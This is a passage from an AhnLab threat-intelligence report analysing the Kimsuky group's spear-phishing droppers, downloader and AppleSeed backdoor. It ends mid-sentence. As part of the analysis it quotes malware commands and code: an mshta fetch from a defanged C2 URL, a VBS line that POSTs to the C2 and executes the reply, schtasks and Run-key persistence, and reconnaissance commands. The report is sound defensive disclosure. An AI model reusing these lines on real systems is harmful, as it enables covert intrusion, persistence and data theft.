AhnLab Cyber Threat Intelligence Report
TLP: AMBER
GREEN
Analysis Report of
Kimsuky Group's APT Attacks
(AppleSeed, PebbleDash)
AhnLab Security Emergency response Center (ASEC)
November 16th, 2021
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
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Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The version information of this report is as follows:
Version
Date
Details
November
16th, 2021
Analysis Report on Kimsuky Group's APT Attacks (AppleSeed,
PebbleDash) created
November
16th, 2021
Added content
November
19th, 2021
Added content and fixed typos
CAUTION
This report contains a number of opinions given by the analysts based on the
information that has been confirmed so far. Each analyst may have a different
opinion and the content of this report may change without notice if new
evidence is confirmed.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Table of Contents
Overview .............................................................................................................................................................. 6
1. Distribution method .......................................................................................................................................... 6
1.1. Script ......................................................................................................................................................... 7
1.2. Executable File (pif) ................................................................................................................................ 10
1.2.1. Thread #1 ........................................................................................................................................ 11
1.2.2. Thread #2 ........................................................................................................................................ 11
1.2.3. Thread #3 ........................................................................................................................................ 16
1.2.4. Thread #4 ........................................................................................................................................ 16
1.3. Additional Script ...................................................................................................................................... 16
1.3.1. Primary Script .................................................................................................................................. 16
1.3.2. Secondary Script ............................................................................................................................. 17
2. Analysis of Downloader Malware .................................................................................................................. 18
2.1. Downloader ............................................................................................................................................. 19
2.1.1. Install Process ................................................................................................................................. 19
2.1.2. Downloader Behavior ...................................................................................................................... 20
3. Analysis of AppleSeed ................................................................................................................................... 21
3.1. Analysis of Default Features ................................................................................................................... 23
3.1.1. Initial Routine ................................................................................................................................... 23
3.1.2. Installation ........................................................................................................................................ 24
3.1.3. Privilege Escalation ......................................................................................................................... 26
3.1.4. Thread ............................................................................................................................................. 26
3.2. Analysis of Info-stealing Feature ............................................................................................................ 30
3.2.1. Information Theft.............................................................................................................................. 31
3.2.2. Additional Commands ..................................................................................................................... 34
3.3. C&C Communication Using Emails ........................................................................................................ 35
3.3.1. Ping Thread (SMTP) ........................................................................................................................ 36
3.3.2. Command Thread (IMAP) ............................................................................................................... 36
4. Analysis of PebbleDash ................................................................................................................................. 38
4.1. Analysis of Initial PebbleDash ................................................................................................................ 39
4.1.1. Initial Routine ................................................................................................................................... 39
4.1.2. Recovering Settings Data ................................................................................................................ 42
4.1.3. C&C Communications ..................................................................................................................... 45
4.1.4. Performing Commands .................................................................................................................... 49
4.2. Analysis of Latest PebbleDash ............................................................................................................... 51
4.2.1. Initial Routine ................................................................................................................................... 51
4.2.2. Recovering Settings Data ................................................................................................................ 53
4.2.3. C&C Communications ..................................................................................................................... 54
4.2.4. Performing Commands .................................................................................................................... 57
5. Post Infection ................................................................................................................................................. 58
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
5.1. Remote Control....................................................................................................................................... 58
5.1.1. Meterpreter ...................................................................................................................................... 58
5.1.2. HVNC (TinyNuke) ............................................................................................................................ 60
5.1.3. TightVNC ......................................................................................................................................... 63
5.1.4. RDP Wrapper .................................................................................................................................. 64
5.2. RDP Related ........................................................................................................................................... 64
5.2.1. Adding RDP User ............................................................................................................................ 64
5.2.2. RDP Patcher .................................................................................................................................... 64
5.3. Privilege Escalation ................................................................................................................................ 65
5.3.1. UACMe ............................................................................................................................................ 65
5.3.2. CVE-2021-1675 Vulnerability .......................................................................................................... 67
5.4. Collecting Information ............................................................................................................................. 69
5.4.1. Mimikatz ........................................................................................................................................... 69
5.4.2. Collecting Chrome Account Credentials .......................................................................................... 70
5.4.3. Keylogger ......................................................................................................................................... 70
5.5. Others ..................................................................................................................................................... 71
5.5.1. Proxy Malware ................................................................................................................................. 71
AhnLab's Response ........................................................................................................................................... 72
Conclusion ......................................................................................................................................................... 75
IOC (Indicators Of Compromise) ....................................................................................................................... 75
File Path and Name ....................................................................................................................................... 75
File Hashes (MD5) ......................................................................................................................................... 77
Related Domain, URL, and IP Address ......................................................................................................... 83
Reference .......................................................................................................................................................... 87
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Overview
This document is an analysis report on types of malware recently utilized by the Kimsuky group. The
Kimsuky group is mainly known for launching social engineering attacks, such as spear phishing. Judging
by the names of the attached files, the group seems to be targeting those working in the fields related to
North Korea and foreign affairs. According to the scan logs of AhnLab's ASD infrastructure, the threat
group has been mainly targeting individual users rather than companies, but has also been continuously
attacking public institutions and companies. Korean universities have been one of their major targets, but
records exist of them attacking IT, information and communications, and construction institutions as well.
Normally, malware strains assumed to be attachments of spear phishing attack emails are disguised as
document files. If a user executes the file, malware of this type executes the document that corresponds
to the disguised file name and tricks the user into thinking that they have opened a normal file. It installs
additional malware strains at the same time, mainly AppleSeed and PebbleDash. AppleSeed has been
present since 2019 and when compared to other malware strains based on the IOCs organized by AhnLab,
it takes up a significant portion due to being used in various other attacks. PebbleDash is one of the
NukeSped variants, known for having been used by the Lazarus group since the past. Recently, it has
been found that a new variant is being used for attacks along with AppleSeed.
They are both backdoors used by the Kimsuky group that can stay in the system and perform malicious
behaviors by receiving commands from the attacker. The attacker can use backdoor to install another
remote control malware, such as Meterpreter and HVNC. The attacker can also install various other types
of malware for privilege escalation and account credential theft.
This report will analyze the overall flow of attacks using AppleSeed and PebbleDash, starting from
malware strains that are initially distributed. As both malware types are not confined to a single form, this
report will compare each type and focus on similarities and differences, and also explain in detail other
types of malware that the two malware additionally install.
1. Distribution method
Lately, the Kimsuky group has been mainly distributing malware via spear phishing email attachments.
Malware that creates AppleSeed or PebbleDash is usually disguised as a document file, such as pdf, docx,
and hwp. These malware strains take a disguise of document files that discuss current affairs, such as
diplomacy, defense, and COVID-19. However, the attacker does use other file types, such as jpg image
or specific dat depending on the attack target. The files thought to be attached to spear phishing emails
the initial distribution files
all have either an executable file or script format.
The script file is a wsf or js format malware, which creates and executes a normal document file that
corresponds to the disguised name when it is run to make the user think that a normal document file has
been opened. The executable is the same as the script file in terms of its distribution method and behaviors.
One thing to note is that the file is distributed in PIF extensions.
Both the script and the executable show normal document files upon being executed and installed
internally encoded malware into the system. When backdoors, such as AppleSeed or PebbleDash, are
installed successfully, they can communicate with the C&C server afterward to steal information about the
user environment or install additional malware.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
1.1. Script
Samples distributed in the script form can all be executed immediately on Windows. Upon being executed,
they create and run AppleSeed malware and normal document files. The confirmed samples take the form
of JS or WSF file, as shown in Figure 1. They have different extensions but are functionally the same, as
each is configured in the same JS code.
Figure 1. WSF (left) and JS sample (right)
The samples can also be divided into two types depending on the method of code implementation. Figure
1 shows samples that declare function at the start because they have features, such as decoding, autodelete, and file deletion, implemented as separate functions. Figure 2 shows another sample that makes
no use of functions and starts with the try - catch statement.
Figure 2. Sample without functions
Both types essentially perform the same behaviors. Decoding the Base64-encoded data yields AppleSeed
malware and a normal document file. The malware creates two files in a particular path and executes
them.
- Command: powershell.exe -windowstyle hidden regsvr32.exe /s [AppleSeed malware path]
For Base64 decoding, the samples with functions use a method of running Powershell command, and
samples that do not declare functions use certutil.exe to decode the file, as shown in Figure 3.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 3. Decoding using certutil.exe
Some samples may additionally access a particular URL as shown in Figure 4. It appears that the samples
do so to report the infection status.
Figure 4. Accessing URL to report infection
The name of the normal document file created in the process above is similar to the name of the distributed
file with its content related to the file name.
Figure 5. image_confirm_v1.jpg file
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 6. High-frequency transfer switch default performance temperature testing report.hwp
Figure 7. *** News 2021-05-07.pdf file
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 8. 0421.hwp file
1.2. Executable File (pif)
For samples distributed in the PIF form, they create and execute malware and normal documents while
performing additional malicious behaviors through mstha at the same time. This report will list the analysis
information of the "Progress Check_211013.pif (aa65c226335539c162a9246bcb7ec415) sample."
When the malware is executed, it creates four threads, as shown in Table 1. Each thread has a specialized
feature that is summarized in the following table.
Thread
Behavior
Thread #1
Creating and running AppleSeed malware
Thread #2
Creating and running normal document file
Thread #3
Running mshta for performing additional
malicious behaviors
Thread #4
Creating and running auto-delete BAT file
Table 1. Summary of behavior for each thread
Most PIF droppers, including the analysis target sample, install VBS malware using mshta. However,
some samples do not follow this pattern. Some samples lack the dropper feature that installs additional
malware, while others install certain downloader malware types or malware that adds an RDP account.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
There have also been samples with different internal code configurations that install PebbleDash backdoor
instead of AppleSeed.
1.2.1. Thread #1
Thread #1 in the sample creates a folder in the following path and installs AppleSeed.
- Path %APPDATA%\Media
- Filename wmi-ui-[random name].db
- File Hash cae87921ea508d6c8d8c1de9dd769ae1
The following decryption routine is used, notably utilizing a MMX command.
Figure 9. Data decryption routine
When the file is decrypted and created, the sample uses the ShellExecuteExW() function to run the
malware through regsvr32.exe.
Execution
Argument: C:\Windows\system32\regsvr32.exe
name]\AppData\Roaming\Media\wmi-ui-947ef993.db"
"C:\Users\[user
1.2.2. Thread #2
Thread #2 thread creates and executes the normal document file to trick users into thinking that they have
opened an innocuous document file, not a malware. It uses the same algorithm used in Thread #1 during
the document creation process to decrypt the data. The normal document created usually uses a name
similar to the filename of the distributed malware with contents related to the title.
Examples of normal documents are shown in Figure 10. One thing to note is that the file with .h5
extensions use HDF (Hierarchical Data Format) file format, which is not widely used.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 10. Process Check_211013.pdf file
Figure 11. JR_210604_R1***_F***_Pf***.pptx file - (certain strings blurred as ***)
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 12. 211014-915mm(0deg).h5 file
Figure 13. [Business Cooperation Agreement] Cooperation (Old 2) 21-001_Cooperation
request for tasks related to purchase order for development and purchase & incoming
inspection process_Purchase Team 2.pdf file
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 14. 2021 *** Work Report Edited.pdf file
Figure 15. 1. 2021 Business Plan (Supplemented by referencing materials from Installation
Agency) - 210316-1.hwp file
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 16. 210927 COVID-19 Response (Boryeong-Taean 1)_merged.hwp file
Figure 17. ROK-US summit (May 21st) Reference Material (edited).hwp file
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
1.2.3. Thread #3
Thread #3 executes scripts using mstha to perform additional malicious behaviors. It executes the
following command through the CreateProcessA() function. As for the script malware that is downloaded
and executed through mshta.exe, it will be discussed in 1.3. Additional Script.
- Command: mshta.exe hxxp://get.seino.p-e[.]kr/?query=5
1.2.4. Thread #4
The thread creates a BAT file with a random name in the %TEMP% directory and executes it via the
CreateProcessW() function. The executed script, which is a command that deletes the created BAT file is
shown below.
The main thread is configured to be terminated after all additionally created threads are completed. When
the malware is terminated, the executed BAT file deletes itself and the BAT script.
:goto_redel
rd /s /q "[executable file name]"
del "[executable file path]"
if exist "[executable file path]" goto goto_redel
del "C:\Users\[user name]\AppData\Local\Temp\[random name].tmp.bat"
1.3. Additional Script
The PIF dropper malware mentioned earlier installs AppleSeed backdoor to trick users into thinking that
they are opening an innocuous document file. Also, it also installs additional external payloads. To do so,
it downloads a script through mshta.exe from the third thread and executes it. The downloaded VBS script
can send basic information of the infected environment and download additional malware.
1.3.1. Primary Script
First, the short VBS script is downloaded through mshta.exe and executed. The code simply requests a
certain URL and executes another VBS script received as a response.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 18. First Script (Deobfuscated)
The second script that is run by the script above is a VBS script, consisting of approximately one hundred
lines. It steals information about the infected system and sends it to the C&C server. A function that can
download and execute files is also included, but it may not always be executed depending on the situation.
1.3.2. Secondary Script
To collect the information of the infected system, the script first executes the following commands and
saves the result as a file MSO2069.acl.
> hostname
> systeminfo
> net user
> query user
> route print
> ipconfig /all
> arp -a
> netstat -ano
> tasklist
> tasklist /svc
The file is encoded with certutil.exe that is a default Windows program and saved as a file with the name
MSO2079.acl, which is then sent to the C&C server. The data sent takes a disguise of something similar
to a certificate to bypass detection as shown in Figure 19.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 19. Example of packet content that is sent to C2 server
Afterward, the script registers the following two commands to the task scheduler.
> cmd /c schtasks /Create /SC minute /MO 20 /TN GoogleCache /TR "wscript //e:vbscript //b
C:\ProgramData\Chrome\.NetFramework.xml" /f
> cmd /c schtasks /Create /SC minute /MO 1 /TN GoogleUpdate /TR "regsvr32 /s
C:\ProgramData\Chrome\update.cfg" /f
The content of the .NetFramework.xml file that is created by the script is shown below. It accesses a
particular URL and executes the script that is sent in response.
Error
Resume
Next:Set
sztnfpcgijjomecl
CreateObject("MSXML2.ServerXMLHTTP.6.0"):sztnfpcgijjomecl.open "POST", "hxxp://get.seino.pe[.]kr/index.php?query=6", False:sztnfpcgijjomecl.Send:Execute(sztnfpcgijjomecl.responseText):
The script that was downloaded during the analysis is a code that forcibly terminates the mshta.exe
process that is currently being executed as shown below.
Set WShell=CreateObject("WScript.Shell"):retu=WShell.run("cmd /c taskkill /im mshta.exe /f" , 0 ,true)
In essence, one task downloads an additional script from external sources and executes it. The other task
executes a file in a certain path using regsvr32. If the attacker responds with a script that installs additional
malware files in the C:\ProgramData\Chrome\update.cfg path instead of the auto-termination script, the
additional malware will be executed by the second task scheduler.
2. Analysis of Downloader Malware
As mentioned earlier, there is a downloader malware among those installed by the PIF dropper. This
malware operates after being registered to the task scheduler and essentially performs the role of a
downloader: periodically accessing the C&C server to download and execute additional payloads.
Currently, multiple downloader malware types can be checked in AhnLab's ASD infrastructure. They likely
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
created malware strains used by the Kimsuky group. Note that according to a report made by S2W LAB,
there has been cases of the downloader malware downloading and installing the Meterpreter backdoor in
infected environments.1
2.1. Downloader
2.1.1. Install Process
As for the analysis sample, when the downloader malware is executed, it first creates the Intel folder in
the %ALLUSERSPROFILE% (ProgramData) folder and copies itself with the name "Driverdriver.cfg."
Most samples choose ProgramData as the installation folder, but some select %APPDATA%
(\AppData\Roaming) instead. There are also cases of the file name being driver.cfg instead of
Driverdriver.cfg.
When the copying process is over, the malware executes the file in the copied path using regsvr32.exe.
The actual malicious behaviors are performed in the downloader process that is executed following the
steps shown above. When the install process is over, the file that is initially executed is auto-deleted. It is
a method that uses a batch file and is frequently employed by malware strains that were recently used by
the Kimsuky group.
Figure 20. Auto-delete Batch file
It then checks for concurrent execution using a mutex. The sample for the current analysis uses the
following name for the mutex:
- Mutex: windows update server real time mui cache"
The malware uses a unique 8-byte sized random binary data to check whether the system is infected or
not. It first scans for the following registry key. If the key does not exist, it creates a random 0x08 byte
binary value and uses this value for the registry shown below. The value is used to communicate with the
C&C server.
- Added Registry Key: HKCU\Software\Microsoft\FTP / Use Smtp
https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseed-
really-fall-on-newtons-head/
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 21. Created registry key
The malware registers the following command to the task scheduler so that it executes every 30 minutes.
> schtasks /create /f /tn "Intel\Disk\Volume1" /tr
"C:\ProgramData\Intel\Driverdriver.cfg"" /sc minute /mo 30
"C:\Windows\system32\regsvr32.exe
2.1.2. Downloader Behavior
The malware uses the HTTP protocol and the following three types of queries to communicate with the
C&C server. u is the unique identifier that was discussed earlier, and i means a command. p appears to
be a secondary parameter, but as the malware has a simple structure, it would not have much significance.
- Format: http://[C&C URL]/init/image?i=[command]&u=[unique identifier]&p=[secondary parameter]
Query
Meaning
Command
Unique
Identifier
Secondary
Parameter
Table 2. Queries used for C&C communications
Command
Type
Feature
Init
Establish
connection
Ping
PING
Down
Download
complete
Table 3. Types of commands used
The following URL is used when the malware initially connects with the C&C server. The
"6352db963f367e75" part is the 8-byte binary data that was randomly generated and saved in the registry
key converted into a string.
- Example: http://[C&C URL]/init/image?i=init&u=6352db963f367e75&p=ya
The User-Agent string used to communicate with the C&C server is as follows:
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/79.0.3945.130
The malware then sends a PING query. Up until this part of the process, the data received from the C&C
server is not used. It seems that this part is a reset process for the sample to send infection status to the
C&C server and download additional files.
- Example: http://[C&C URL]/init/image?i=ping&u=6352db963f367e75&p=wait..
Now the actual downloading begins. The download URL is "[random 8-byte string].down" as shown below.
- Format: http://[C&C URL]/init/[Unique Identifier].down
- Download URL Example: http://[C&C URL]/init/6352db963f367e75.down
The downloader downloads files using the URLDownloadToFileW() API without going through any
complicated processes. The download path is shown below. The name of the file also has a random value
in the "cachew[random name].cache" format.
- Download Path Example: C:\ProgramData\Intel\Driver\cachew-671417171.cache
As the downloaded file is encoded with 4-byte Xor, it needs to be additionally decoded.
Figure 22. Hard-coded 0x4 Byte Xor key
- Xor Key: 96 50 28 44
The decoded malware is executed. As the downloader uses regsvr32.exe upon executing it, the additional
payloads likely only exist as DLLs. After the process is over, the result is sent to the C&C server using the
example URL shown below.
- Example: http://[C&C URL]/init/image?i=down&u=6352db963f367e75&p=ya
3. Analysis of AppleSeed
Among types of malware installed through the script malware or PIF dropper, there is a backdoor called
AppleSeed. It performs commands it received from the attacker via the C&C server and sends the result
back. It also includes features, such as a downloader that installs additional malware strains, performs
keylogging and screenshots, and steals information by collecting files from the user system.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The malware is mainly divided into two types depending on the C&C communications method. Most of
them use the HTTP protocol, but some strains communicate with C&C through emails. There are also
other differences in features. Not every type of AppleSeed is equipped with the info-stealing feature. Some
types may only contain basic features of receiving and executing additional malware or commands from
the C&C server. Among all samples, this report will discuss those that use HTTP or emails to communicate
with C&C and those that include info-stealing features.
Some samples appear to contain binaries built using debug mode by the attacker. As such, one can check
the debug messages designated by the developer for each function as shown in Figure 23.
Figure 23. Debug message output routine included in function
Figure 24. DebugView log
The target chosen for the analysis is a sample built in debug mode, the one that can be examined to
confirm the developer's intention. However, as the discussed sample's info-stealing feature is disabled,
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
another sample with the feature will be analyzed for the section explaining such feature. As all of the
samples use the HTTP protocol, AppleSeed sample that communicates with the C&C server via email will
be discussed.
- Only has default features: 739d14336826d078c40c9580e3396d15
- Possesses additional info-stealing feature: 2cb77491573acc5e8198d8cf68300106
- Communicates with C&C via email: dacb71c5eac21b41bb8077fe2e9f5a25
3.1. Analysis of Default Features
3.1.1. Initial Routine
Upon execution, AppleSeed first goes through API Resolving in the initialization routine. The names of the
API functions that will find the URL are all encoded, and these encoded strings are a trait of AppleSeed.
Besides API functions, AppleSeed harbors most of the strings, such as C&C URL and User-Agent, in
encoded forms as shown in Figure 25.
Figure 25. Obfuscation for strings used in AppleSeed
original
version
string
that
decoded
first
("9d99c9fe01bc57d39df2546955a7021a9fe6567457fb001a9dad543755e70258") is "kernel32.dll." The
string is mainly divided into two parts. The first 16 characters are used as a key for Xor encryption, and
the part after the initial 16 characters is the original string that is encrypted and saved.
- Xor Key: 9d99 c9fe 01bc 57d3
- Encoded String (Xor Key): 9df2 5469 55a7 021a 9fe6 5674 57fb 001a 9dad 5437 55e7 0258
Note that the Xor encoding method used is not a simple one; the following encrypted strings are
simultaneously used for the next Xor encoding.
( XorKeyn xor EncStrn-1 ) xor EncStrn
( 0x9d99 xor 0x0000 ) xor 0x9df2 = 0x006b = "k"
( 0xc9fe xor 0x9df2 ) xor 0x5469 = 0x0065 = "e"
( 0x01bc xor 0x5469 ) xor 0x55a7 = 0x0072 = "r"
( 0x57d3 xor 0x55a7 ) xor 0x021a = 0x006e = "n"
( 0x9d99 xor 0x021a ) xor 0x9fe6 = 0x0065 = "e"
( 0xc9fe xor 0x9fe6 ) xor 0x5674 = 0x006c = "l"
( 0x01bc xor 0x5674 ) xor 0x57fb = 0x0033 = "3"
( 0x57d3 xor 0x57fb ) xor 0x001a = 0x0032 = "2"
( 0x9d99 xor 0x001a ) xor 0x9dad = 0x002e = "."
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
( 0xc9fe xor 0x9dad ) xor 0x5437 = 0x0064 = "d"
( 0x01bc xor 0x5437 ) xor 0x55e7 = 0x006c = "l"
( 0x57d3 xor 0x55e7 ) xor 0x0258 = 0x006c = "l"
After API Resolving, the malware finds the settings data. The data is encoded with the same algorithm
that was mentioned above. The data found includes the host and path of the C&C server, path to install
the DLL file, prefix that will be used as PCID, etc. The following is the settings data decoded from the
current analysis target sample.
Settings Item
Decoded String
C&C URL
"yes24-mart.pe[.]hu"
C&C Path
"/bear"
Installation Path
"Software\Microsoft\Windows\Defender"
PcID Prefix
"D_Regsvr32"
Table 4. AppleSeed settings data
3.1.2. Installation
AppleSeed, which is a DLL format, is executed by regsvr32.exe. One of its characteristics is that it is
always installed on a certain path. The installation path is usually inside %ALLUSERSPROFILE%
(ProgramData), but some samples are installed inside %APPDATA%.
The current analysis target sample is installed in %ALLUSERSPROFILE% with the exact path being
"Software\Microsoft\Windows\Defender" (extracted from the settings data shown in Table 4). The name
of the installer is AutoUpdate.dll. It copies itself to create a batch file in
the %ALLUSERSPROFILE%\temp\ path with the original being deleted after. The path is later registered
to the auto-run registry Run key with the name "WindowsDefenderAutoUpdate" to allow the file to be
executed upon reboot.
Figure 26. BAT file used for auto-delete
The malware then uses a mutex to check the concurrent execution. The mutex used by the current
analysis sample is "DropperRegsvr32-20210504113516." As the Export DLL Name is "dropperregsvr32(x86).dll" and the DLL has a similar TimeStamp with the date information shown in the mutex
name which appears to represent the malware's name that was decided during the development and its
creation date.
a. Execution Method
The sample analyzed above is ultimately executed by being loaded through the regsvr32.exe process.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
But there are samples where the AppleSeed backdoor is loaded and executed by a different process. For
instance, the 541fa4fb60690ffbe48b24cd2eeda32e sample is loaded and executed by the explorer.exe
process, the Windows Explorer that is currently being executed. It is initially loaded and executed by the
regsvr32.exe process, but then it copies itself to the %TEMP% path and uses the DLL injection technique,
shown in Figure 27, to make explorer.exe load AppleSeed.
Figure 27. DLL injection technique using CreateRemoteThread() API
The method discussed above is a normal DLL injection technique, but there are other techniques as well,
such as decoding AppleSeed that takes the form of Reflective DLL Loader and injecting it into
explorer.exe. There have also been multiple samples that target Internet Explorer (iexplore.exe) instead
of explorer.exe for injection.
One sample type (8355964a47f248ed39caccb733aabc44) uses the DLL hijacking technique. It first
creates a normal program ALUpdate.exe (639abb6eb9e29b15c61feb7858d2ab40) in the
\AppData\Roaming\ESTsoft\Common\ESTUpdate.exe path and copies itself into the same path with the
name "ko-kr.dll." When the normal program ESTUpdate.exe is executed, DLL is loaded and executed.
Figure 28. Execution method using DLL hijacking technique
b. Maintain Persistence
The sample mentioned in Figure 28 registers the following Run key to maintain persistence.
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
 WindowsDefenderAutoUpdate
 regsvr32.exe /s "C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll"
Besides the Run key, AppleSeed samples such as 4e58ea982e3e95fe7b1bdb480ab9810e may use the
RunOnce key to maintain persistence.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
 ESTsoftAutoUpdate
 regsvr32.exe /s "C:\ProgramData\Software\ESTsoft\Common\ESTCommon.dll"
The samples that employ the DLL hijacking method use the task scheduler to execute ALUpdate.exe
program.
- schtasks /create /sc minute /mo 10 /tn "ESTSoft\EST Software Auto Updater" /tr C:\Users\[User
Name]\AppData\Roaming\ESTsoft\Common\ESTUpdate.exe /f
3.1.3. Privilege Escalation
At this stage, the malware checks if UAC is disabled in the current system. If the following registry keys
all have 0 as their values, the sample will consider UAC to be disabled.
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
 PromptOnSecureDesktop
When the UAC is disabled and the system does not have the administrator privilege, it executes its own
path and regsvr32.exe as executed as administrator. Since UAC is already disabled, privilege escalation
becomes possible without the UAC pop-up. For the system that currently has admin privilege, the malware
enables the SeDebugPrivilege privilege.
3.1.4. Thread
AppleSeed executes thPingCmd which works as the main thread. The thread simply executes two threads
in the span of 60 seconds. The first thread is named sendHttpPing, which periodically communicates with
the C&C server to maintain connection. The second thread is named dropAndRunCmd and performs
malicious behaviors by receiving commands from the server.
The following table shows the URLs used by AppleSeed to communicate with the C&C server.
Mode
Feature
ping
/?m=a&p1=[PcID]&p2=[PcInfo][MalwareVersion]
Maintaining connection with the
C&C server
Sending command
results
/?m=b&p1=[PcID]&p2=a
Downloading
commands
/?m=c&p1=[PcID]
Downloading commands from the
C&C server
Download complete
/?m=d&p1=[PcID]
Notifying completion of command
download
Sending CMD command results
Table 5. List of URLs used
"m" seems to mean "mode," with "a" being used for "ping", "b" for "commands", "c" for "downloading
commands", and "d" for "completing downloading commands". These are all the URLs used in the sample,
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
but more types of URLs are used for the sample with the info-stealing feature enabled, and they will be
discussed later when the sample is analyzed.
a. sendHttpPing Thread
The sendHttpPing thread is excuted every 60 seconds, sending the basic information of the infected
system to the C&C server. Unlike other communication instances where only the PcID is sent, this thread
also sends PcInfo and the malware version like the URL shown below.
/?m=a&p1=[PcID]&p2=[PcInfo]-[MalwareVersion]
The PcID used in this case combines the volume serial number and the user name such as "888a15a5testUser." PcInfo is a bit more complicated. It is a string that appears to show the Windows version (Major,
Minor, and Build) as well as the architecture and the malware version. The malware version is the string
"D_Regsvr32" that was obtained during the decoding process for previous settings data and the string
that was decoded in the current thread 2.0 and 7.
Item
Format
Example
PcID
[VolumeSerial]-[UserName]
888a15a5-testUser
PcInfo
Win[MajorVersion].[MinorVersion].[Build][Architecture]
Win6.1.7601x86
Malware
[D_Regsvr32]-v[2.0].[7]
D_Regsvr32-v2.0.7
Version
Table 6. Format used for sending information about infected system - HTTP
Figure 29. Process of obtaining PcInfo
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
The information is ultimately sent to the C&C server with the following URL:
/bear/?m=a&p1=888a15a5-testUser&p2=Win6.1.7601x86-D_Regsvr32-v2.0.7
b. dropAndRunCmd Thread
This thread performs commands that it has received. After requesting the C&C server to send commands,
it downloads and decrypts them to perform malicious behaviors, then sends back the result.
It accesses the C&C server using the URL "/?m=c&p1=[PcID]" and downloads the data that includes
commands. The User-Agent string used in the process is as follows:
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/74.0.3729.169 Safari/537.36"
The downloaded data is saved as a file in the %ALLUSERSPROFILE%\temp\ path. Unlike average
malware strains, AppleSeed saves features that can be processed within the memory as a file. So for
every stage, such as downloading commands and unpacking and decrypting files, all the results are saved
in the %ALLUSERSPROFILE%\temp\ path.
When the download is finished, the malware accesses the C&C server via the URL "/?m=d&p1=[PcID]"
to inform the server that the process has been completed. It is currently not possible to access the server,
but it appears that the downloaded data starts with the "%PDF-1.7..4 0 obj" signature. AppleSeed begins
the unpacking process after scanning the signature.
Figure 30. CRC scan for unpacked file
The decryption process follows when the unpacking process is complete. The unpacked data includes
the RC4 key encrypted with the RSA public key and the data encrypted with the RC4 key. The malware
first decrypts the data saved in the 0x80 size after +0x04 using the RSA (1024) private key included in the
binary and obtains the RC4 key based on the data. Then it decrypts the data with the RC4 key to have
the command data.
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Figure 31. Decrypted RSA (1024 bit) private key
While the command data is not available for download at this moment, it appears that the unpacked data
will have the following format based on the uploading process that will be discussed later in this report.
Offset
Size
Data
+0x00
0x04
Original size of the encrypted data
+0x04
0x80
RC4 key encrypted with the RSA (1024 bit) public
+0x84
Variable
Command data encrypted with the RC4 key
Table 7. Encrypted command data received from C&C server
The following table is a list of commands that the current analysis target, AppleSeed, can perform. The
command names are based on the string confirmed through the debug message.
Command Number
Command Name
Description
Performs command lines received
from the C&C server and sends
results
Downloads DLL and executes it with
the RegSvr32.exe /s command
MemDLL
Downloads DLL and executes it in
the memory
UpdateDLL
Updates malware (same as the DLL
command)
Table 8. C&C commands #1
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Unlike the MemDLL command that loads and executes malware within the memory, DLL and UpdateDLL
command download DLL in the file form and execute it with the "regsvr32.exe /s" command. They are
divided into two commands (DLL, UpdateDLL) which are essentially the same.
As for the CMD command, it executes the command line that was sent and receives the result through a
pipe to save it in the %ALLUSERSPROFILE%\temp\ path. It then additionally encrypts the saved file
before sending it like zip compression or the encryption process discussed above. The command first
creates a random RC4 key and encrypts the zip compression file with the RC4 algorithm. The randomly
created RC4 key is encrypted with the public key included in the binary. The final data after the encoding
process is as follows:
Offset
Size
Data
+0x00
0x04
Size of the zip file that will be
encrypted
+0x04
0x80
RC4 key encrypted with the RSA
(1024 bit) public key
+0x84
Variable
Command data encrypted with the
RC4 key
Table 9. Encrypted stolen information sent to C&C server
Figure 32. RSA (1024 bit) public key used to encrypt attachment
The compressed and encrypted data is attached to the POST request and sent as the following URL:
/?m=b&p1=[PcID]&p2=a
3.2. Analysis of Info-stealing Feature
While the sample discussed earlier is a simple malware without the info-stealing feature, the same cannot
be said for other AppleSeed samples. Those with functional info-stealing feature can receive additional
